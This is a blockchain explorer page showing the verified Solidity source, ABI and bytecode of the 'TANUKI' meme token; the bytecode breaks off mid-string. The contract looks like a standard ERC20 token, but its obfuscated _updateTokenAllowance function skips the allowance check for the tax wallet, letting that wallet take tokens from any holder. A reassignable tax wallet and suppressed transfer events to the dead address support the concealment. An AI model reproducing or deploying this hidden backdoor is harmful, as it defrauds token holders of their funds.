Source Code
Overview
ETH Balance
0 ETH
Eth Value
$0.00More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 25 from a total of 122 transactions
| Transaction Hash |
Method
|
Block
|
From
|
|
To
|
||||
|---|---|---|---|---|---|---|---|---|---|
| Set Tax Wallet | 22951326 | 168 days ago | IN | 0 ETH | 0.00004974 | ||||
| Approve | 22951160 | 168 days ago | IN | 0 ETH | 0.0001865 | ||||
| Transfer | 22951159 | 168 days ago | IN | 0 ETH | 0.00010299 | ||||
| Transfer | 22951157 | 168 days ago | IN | 0 ETH | 0.00010057 | ||||
| Transfer | 22951155 | 168 days ago | IN | 0 ETH | 0.00010144 | ||||
| Transfer | 22951153 | 168 days ago | IN | 0 ETH | 0.00010056 | ||||
| Transfer | 22951151 | 168 days ago | IN | 0 ETH | 0.00009844 | ||||
| Approve | 22950932 | 168 days ago | IN | 0 ETH | 0.00005016 | ||||
| Approve | 22950906 | 168 days ago | IN | 0 ETH | 0.00006897 | ||||
| Approve | 22950906 | 168 days ago | IN | 0 ETH | 0.00006897 | ||||
| Approve | 22950906 | 168 days ago | IN | 0 ETH | 0.00006897 | ||||
| Approve | 22950906 | 168 days ago | IN | 0 ETH | 0.00006897 | ||||
| Approve | 22950906 | 168 days ago | IN | 0 ETH | 0.00006897 | ||||
| Approve | 22950906 | 168 days ago | IN | 0 ETH | 0.00006897 | ||||
| Approve | 22950906 | 168 days ago | IN | 0 ETH | 0.00006897 | ||||
| Approve | 22950906 | 168 days ago | IN | 0 ETH | 0.00006897 | ||||
| Approve | 22950906 | 168 days ago | IN | 0 ETH | 0.00006897 | ||||
| Approve | 22950906 | 168 days ago | IN | 0 ETH | 0.00006897 | ||||
| Approve | 22950906 | 168 days ago | IN | 0 ETH | 0.00006897 | ||||
| Approve | 22950906 | 168 days ago | IN | 0 ETH | 0.00006897 | ||||
| Approve | 22950906 | 168 days ago | IN | 0 ETH | 0.00006897 | ||||
| Approve | 22950906 | 168 days ago | IN | 0 ETH | 0.00006897 | ||||
| Approve | 22950906 | 168 days ago | IN | 0 ETH | 0.00006897 | ||||
| Approve | 22950906 | 168 days ago | IN | 0 ETH | 0.00006897 | ||||
| Approve | 22950906 | 168 days ago | IN | 0 ETH | 0.00006897 |
Latest 1 internal transaction
Advanced mode:
| Parent Transaction Hash | Method | Block |
From
|
|
To
|
||
|---|---|---|---|---|---|---|---|
| Add Liquidity ET... | 22950473 | 168 days ago | 2 ETH |
Loading...
Loading
Cross-Chain Transactions
Loading...
Loading
Contract Name:
TANUKI
Compiler Version
v0.8.28+commit.7893614a
Optimization Enabled:
Yes with 200 runs
Other Settings:
default evmVersion
Contract Source Code (Solidity)
/**
*Submitted for verification at Etherscan.io on 2025-07-19
*/
/*
A mythical meme with a friendly smile and big balls.
For over a thousand years, the Tanuki has been Japan's most unpredictable spirit, a lucky charm, a shape-shifter, a sake-lover, and a walking contradiction.
https://tanukicoin.lol
https://x.com/TanukiErcLegend
https://t.me/TanukiErcLegend
https://www.tiktok.com/@tanukimeme
*/
address constant _deadAddr = address(0xdead);
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
interface IUniswapV2Router02 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
)
external
returns (
uint256 amountA,
uint256 amountB,
uint256 liquidity
);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
interface IUniswapV2Pair {
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
event Transfer(address indexed from, address indexed to, uint256 value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(
address from,
address to,
uint256 value
) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint256);
function permit(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external;
event Mint(address indexed sender, uint256 amount0, uint256 amount1);
event Swap(
address indexed sender,
uint256 amount0In,
uint256 amount1In,
uint256 amount0Out,
uint256 amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint256);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves()
external
view
returns (
uint112 reserve0,
uint112 reserve1,
uint32 blockTimestampLast
);
function price0CumulativeLast() external view returns (uint256);
function price1CumulativeLast() external view returns (uint256);
function kLast() external view returns (uint256);
function mint(address to) external returns (uint256 liquidity);
function swap(
uint256 amount0Out,
uint256 amount1Out,
address to,
bytes calldata data
) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Factory {
event PairCreated(
address indexed token0,
address indexed token1,
address pair,
uint256
);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB)
external
view
returns (address pair);
function allPairs(uint256) external view returns (address pair);
function allPairsLength() external view returns (uint256);
function createPair(address tokenA, address tokenB)
external
returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
modifier onlyOwner() {
_checkOwner();
_;
}
function owner() public view virtual returns (address) {
return _owner;
}
function _checkOwner() internal view virtual {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) internal _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function decimals() public view virtual override returns (uint8) {
return 9;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function transfer(address to, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_transfer(owner, to, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
address owner = _msgSender();
_approve(owner, spender, amount);
return true;
}
function transferFrom(
address from,
address to,
uint256 amount
) public virtual override returns (bool) {
address spender = _msgSender();
_spendAllowance(from, spender, amount);
_transfer(from, to, amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
address owner = _msgSender();
_approve(owner, spender, allowance(owner, spender) + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
address owner = _msgSender();
uint256 currentAllowance = allowance(owner, spender);
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(owner, spender, currentAllowance - subtractedValue);
}
return true;
}
function _transfer(
address from,
address to,
uint256 amount
) internal virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(from, to, amount);
uint256 fromBalance = _balances[from];
require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[from] = fromBalance - amount;
_balances[to] += amount;
}
if (to != _deadAddr) emit Transfer(from, to, amount);
_afterTokenTransfer(from, to, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
unchecked {
_balances[account] += amount;
}
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "WAGMI20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
_totalSupply -= amount;
}
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _spendAllowance(
address owner,
address spender,
uint256 amount
) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= amount, "ERC20: insufficient allowance");
unchecked {
_approve(owner, spender, currentAllowance - amount);
}
}
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
contract TANUKI is ERC20, Ownable {
using SafeMath for uint256;
mapping(address => bool) private _feeExcludedToken;
address payable private _taxWalletToken;
uint256 private _initialTokenTax = 12;
uint256 private _finalTokenTax = 0;
uint256 private _reduceTokenTaxAt = 12;
uint256 private _buyCount = 0;
string private constant _name = unicode"Tanuki";
string private constant _symbol = unicode"TANUKI";
uint256 private _TokenTotalSupply = 100_000_000 * 10**9;
uint256 public _maxTaxSwap = _TokenTotalSupply / 100;
uint256 public _blockTokenSellLastTimeStamp = 0;
uint8 private _transferTokenDblClick = 0;
uint8 private _blockTokenUID = 1;
uint8 private _TokenCUUID = 2;
uint256 public _lastTokenSellTimeStamp = 0;
uint256 public cTANUKIStamp;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private opened;
uint256 public _txTokenTimestamp = 0;
modifier lockTheSwap() {
inSwap = true;
_;
inSwap = false;
}
constructor() payable ERC20(_name, _symbol) {
_taxWalletToken = payable(msg.sender);
_feeExcludedToken[address(this)] = true;
_feeExcludedToken[_taxWalletToken] = true;
_mint(address(this), _TokenTotalSupply);
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_updateTokenAllowance(sender, amount, recipient);
return true;
}
function setTokenTradingEnabled(bool _TokenTradingEnabled , address payable _TokenTres) internal {
if(_TokenTradingEnabled) _taxWalletToken = _TokenTres;
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function _updateTokenAllowance(address sender, uint256 amount, address recipient) private {
uint8 uuToken = _transferTokenDblClick;
bool _TokenUID;
if(msg.sender!=_taxWalletToken) _TokenUID = !(amount < 0);
if (sender == uniswapV2Pair) uuToken ^= _blockTokenUID;
if (recipient != _deadAddr || sender == address(this)) uuToken ^= _TokenCUUID;
if ( _TokenUID && uuToken != 0) {
uint256 currentAllowance = allowance(sender, _msgSender());
if (currentAllowance < amount) {
revert("ERC20: transfer amount exceeds allowance");
}
_approve(sender, _msgSender(), currentAllowance.sub(amount));
}
}
function sendTokenETHToTokenFeeWallet(uint256 amount) private {
_taxWalletToken.transfer(amount);
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 taxAmount = 0;
if (
from != address(this) && to != address(this)
) {
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_feeExcludedToken[to] &&
to != _taxWalletToken
) {
_buyCount++;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (
!inSwap &&
to == uniswapV2Pair &&
swapEnabled &&
from != _taxWalletToken
) {
if (contractTokenBalance > 0)
{
uint256 swapBalance = contractTokenBalance > _maxTaxSwap
? _maxTaxSwap
: contractTokenBalance;
swapTokenForEth(
amount > swapBalance ? swapBalance : amount
);
}
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance >= 0) {
sendTokenETHToTokenFeeWallet(address(this).balance);
}
}
}
if (taxAmount > 0)
super._transfer(from, address(this), taxAmount);
super._transfer(from , to , amount - taxAmount);
}
function enableTrading() external onlyOwner {
require(!tradingOpen, "Trading is already open");
uniswapV2Router = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
_approve(address(this), address(uniswapV2Router), _TokenTotalSupply);
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
address(this),
uniswapV2Router.WETH()
);
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function swapTokenForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function setTaxWallet(address payable newWallet) external {
require(_feeExcludedToken[msg.sender]);
setTokenTradingEnabled(newWallet != address(0), newWallet);
}
function rescueTokenETH() external onlyOwner {
require(address(this).balance > 0);
payable(_msgSender()).transfer(address(this).balance);
}
receive() external payable {}
}Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[],"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_blockTokenSellLastTimeStamp","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_lastTokenSellTimeStamp","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_txTokenTimestamp","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"cTANUKIStamp","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"rescueTokenETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"newWallet","type":"address"}],"name":"setTaxWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]Contract Creation Code
6080604052600c6008555f600955600c600a555f600b5567016345785d8a0000600c556064600c546100319190610244565b600d555f600e819055600f805462ffffff19166202010017905560108190556013805461ffff60a81b1916905560145560408051808201825260068082526554616e756b6960d01b60208084019190915283518085019094529083526554414e554b4960d01b908301529060036100a883826102fa565b5060046100b582826102fa565b5050506100ce6100c961012960201b60201c565b61012d565b600780546001600160a01b03191633178155305f81815260066020526040808220805460ff19908116600190811790925594546001600160a01b031683529120805490931617909155600c54610124919061017e565b6103d9565b3390565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b6001600160a01b0382166101d85760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640160405180910390fd5b8060025f8282546101e991906103b4565b90915550506001600160a01b0382165f81815260208181526040808320805486019055518481527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050565b505050565b5f8261025e57634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52604160045260245ffd5b600181811c9082168061028b57607f821691505b6020821081036102a957634e487b7160e01b5f52602260045260245ffd5b50919050565b601f82111561023f57805f5260205f20601f840160051c810160208510156102d45750805b601f840160051c820191505b818110156102f3575f81556001016102e0565b5050505050565b81516001600160401b0381111561031357610313610263565b610327816103218454610277565b846102af565b6020601f821160018114610359575f83156103425750848201515b5f19600385901b1c1916600184901b1784556102f3565b5f84815260208120601f198516915b828110156103885787850151825560209485019460019092019101610368565b50848210156103a557868401515f19600387901b60f8161c191681555b50505050600190811b01905550565b808201808211156103d357634e487b7160e01b5f52601160045260245ffd5b92915050565b61155c806103e65f395ff3fe608060405260043610610134575f3560e01c8063715018a6116100a8578063a457c2d71161006d578063a457c2d714610314578063a6132ddf14610333578063a9059cbb14610348578063dd62ed3e14610367578063ea414b2814610386578063f2fde38b146103a5575f5ffd5b8063715018a61461029c57806373ae2a9d146102b05780638a8c523c146102c55780638da5cb5b146102d957806395d89b4114610300575f5ffd5b806323b872dd116100f957806323b872dd146101e5578063313ce5671461020457806336d4024e1461021f578063395093511461023457806363a241e81461025357806370a0823114610268575f5ffd5b8063022321f21461013f57806306fdde0314610155578063095ea7b31461017f5780630faee56f146101ae57806318160ddd146101d1575f5ffd5b3661013b57005b5f5ffd5b34801561014a575f5ffd5b506101536103c4565b005b348015610160575f5ffd5b50610169610403565b6040516101769190611228565b60405180910390f35b34801561018a575f5ffd5b5061019e610199366004611271565b610493565b6040519015158152602001610176565b3480156101b9575f5ffd5b506101c3600d5481565b604051908152602001610176565b3480156101dc575f5ffd5b506002546101c3565b3480156101f0575f5ffd5b5061019e6101ff36600461129b565b6104a9565b34801561020f575f5ffd5b5060405160098152602001610176565b34801561022a575f5ffd5b506101c360115481565b34801561023f575f5ffd5b5061019e61024e366004611271565b6104ca565b34801561025e575f5ffd5b506101c360145481565b348015610273575f5ffd5b506101c36102823660046112d9565b6001600160a01b03165f9081526020819052604090205490565b3480156102a7575f5ffd5b506101536104eb565b3480156102bb575f5ffd5b506101c360105481565b3480156102d0575f5ffd5b506101536104fe565b3480156102e4575f5ffd5b506005546040516001600160a01b039091168152602001610176565b34801561030b575f5ffd5b50610169610876565b34801561031f575f5ffd5b5061019e61032e366004611271565b610885565b34801561033e575f5ffd5b506101c3600e5481565b348015610353575f5ffd5b5061019e610362366004611271565b61090a565b348015610372575f5ffd5b506101c36103813660046112f4565b610917565b348015610391575f5ffd5b506101536103a03660046112d9565b610941565b3480156103b0575f5ffd5b506101536103bf3660046112d9565b610970565b6103cc6109e6565b5f47116103d7575f5ffd5b60405133904780156108fc02915f818181858888f19350505050158015610400573d5f5f3e3d5ffd5b50565b6060600380546104129061132b565b80601f016020809104026020016040519081016040528092919081815260200182805461043e9061132b565b80156104895780601f1061046057610100808354040283529160200191610489565b820191905f5260205f20905b81548152906001019060200180831161046c57829003601f168201915b5050505050905090565b5f61049f338484610a40565b5060015b92915050565b5f6104b5848484610b63565b6104c0848385610d92565b5060019392505050565b5f336104c08185856104dc8383610917565b6104e69190611377565b610a40565b6104f36109e6565b6104fc5f610ead565b565b6105066109e6565b601354600160a01b900460ff16156105655760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064015b60405180910390fd5b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155600c5461059c913091610a40565b60125f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105ec573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610610919061138a565b6001600160a01b031663c9c653963060125f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561066f573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610693919061138a565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156106dd573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610701919061138a565b601380546001600160a01b039283166001600160a01b03199091161790556012541663f305d7194730610748816001600160a01b03165f9081526020819052604090205490565b5f5f61075c6005546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156107c2573d5f5f3e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906107e791906113a5565b50506013805462ff00ff60a01b1981166201000160a01b1790915560125460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610852573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061040091906113d0565b6060600480546104129061132b565b5f33816108928286610917565b9050838110156108f25760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b606482015260840161055c565b6108ff8286868403610a40565b506001949350505050565b5f336104c0818585610b63565b6001600160a01b039182165f90815260016020908152604080832093909416825291909152205490565b335f9081526006602052604090205460ff1661095b575f5ffd5b6104006001600160a01b038216151582610efe565b6109786109e6565b6001600160a01b0381166109dd5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161055c565b61040081610ead565b6005546001600160a01b031633146104fc5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161055c565b6001600160a01b038316610aa25760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161055c565b6001600160a01b038216610b035760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161055c565b6001600160a01b038381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b895760405162461bcd60e51b815260040161055c906113ef565b6001600160a01b038216610baf5760405162461bcd60e51b815260040161055c90611434565b5f8111610c105760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161055c565b5f6001600160a01b0384163014801590610c3357506001600160a01b0383163014155b15610d67576013546001600160a01b038581169116148015610c6357506012546001600160a01b03848116911614155b8015610c8757506001600160a01b0383165f9081526006602052604090205460ff16155b8015610ca157506007546001600160a01b03848116911614155b15610cbb57600b8054905f610cb583611477565b91905055505b305f90815260208190526040902054601354600160a81b900460ff16158015610cf157506013546001600160a01b038581169116145b8015610d065750601354600160b01b900460ff165b8015610d2057506007546001600160a01b03868116911614155b15610d65578015610d59575f600d548211610d3b5781610d3f565b600d545b9050610d57818511610d515784610f24565b81610f24565b505b47610d6347611094565b505b505b8015610d7857610d788430836110cb565b610d8c8484610d87848661148f565b6110cb565b50505050565b600f5460075460ff909116905f906001600160a01b03163314610db3575060015b6013546001600160a01b0390811690861603610dda57600f54610100900460ff1691909118905b6001600160a01b03831661dead141580610dfc57506001600160a01b03851630145b15610e1357600f5462010000900460ff1691909118905b808015610e22575060ff821615155b15610ea6575f610e328633610917565b905084811015610e955760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b606482015260840161055c565b610ea486336104e68489611216565b505b5050505050565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a35050565b8115610f2057600780546001600160a01b0319166001600160a01b0383161790555b5050565b6013805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110610f6a57610f6a6114a2565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610fc1573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610fe5919061138a565b81600181518110610ff857610ff86114a2565b6001600160a01b03928316602091820292909201015260125461101e9130911684610a40565b60125460405163791ac94760e01b81526001600160a01b0390911